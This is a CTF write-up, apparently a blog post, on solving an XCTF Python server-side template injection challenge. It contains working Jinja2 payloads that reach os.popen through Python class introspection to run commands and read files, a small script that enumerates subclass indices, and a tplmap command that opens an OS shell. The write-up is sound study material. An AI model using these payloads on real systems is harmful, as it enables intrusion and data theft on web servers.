Cause#
Encountered while solving a problem on xctf
0x00 Introduction to SSTI Vulnerabilities#
SSTI
: Server-Side Template Injection
Server-side template injection is one of the types of format string vulnerabilities.
Injection is a manifestation of format string vulnerabilities
Whether it is binary or web, many vulnerabilities can be attributed to format string vulnerabilities.
SQL injection is the best representative of format string vulnerabilities, where SQL statements are executed in places where they should not be executed.
Part of the code closure injection in XSS also falls into this category.
So what is template injection?
When writing HTML code, many websites use templates for convenience. They first write an HTML file.
When developers want to use the style corresponding to this template, they can directly call the template using the render_template_string
method.
Thus, the template injection refers to replacing a variable with a series of instructions and passing it to the template for execution.
0x01 Writeup#
First, let's create a simple test URL:
xxx.xxx.xxx.xxx:yyyyy/{{7*7}}
You can see that the instruction 7*7
is executed.
The problem mentions python template injection
, indicating that the server-side script is in Python.
So we need to know the class methods in Python:
- class: Returns the class to which the object belongs
- mro: Returns a tuple of base classes that a class inherits, and methods are resolved in the order of the tuple during parsing.
- base: Returns the base class that the class inherits
- Both base and mro are used to find base classes
- subclasses: Each new class retains a reference to its subclasses, and this method returns a list of references that are still available in a class
- init: Class initialization method
- globals: Reference to the dictionary containing global variables for the function
First, let's check all the modules:
xxx.xxx.xxx.xxx:yyyyy/%7B%7B[].__class__.__base__.__subclasses__()%7D%7D
There are many modules here. In order to use the modules conveniently later, I wrote a small script to list the corresponding indices:
import requests
import re
import html
url = "http://xxx.xxx.xxx.xxx:yyyyy/[].__class__.__base__.__subclasses__()%7D%7D"
cont = html.unescape(requests.get(url).content.decode("utf8"))
type_list = re.findall(r"<type '.*?'>|<class '.*?'>", cont, re.S)
print(type_list)
for i in range(len(type_list)):
print(i, type_list[i])
The effect is as follows:
Here, we can use the linecache
function of the catch_warnings
module's .__init__.func_globals.keys()
to call the os
module.
xxx.xxx.xxx.xxx:yyyyy/%7B%7B().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22).popen(%22ls%22).read()'%20)%7D%7D
We can also use the printer
function of the os
module to execute command line statements using the os.popen
function.
xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()%7D%7D
Then continue to use os.popen
to execute the cat fl4g
command to display the contents of the fl4g
file:
xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()%7D%7D
Or directly use the listdir
method of the os
module to find the flag
file:
xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')%7D%7D
Then use the file
method to read fl4g
:
xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()%7D%7D
Finally, the content is read as follows:
This problem can also be solved using the server-side template injection tool tplmap
.
Using the Python 2 environment, specify the URL and add the --os-shell
parameter to directly obtain the target host shell:
python tplmap.py -u "http://xxx.xxx.xxx.xxx:yyyyy/*" --os-shell
End of this article.
Reference articles: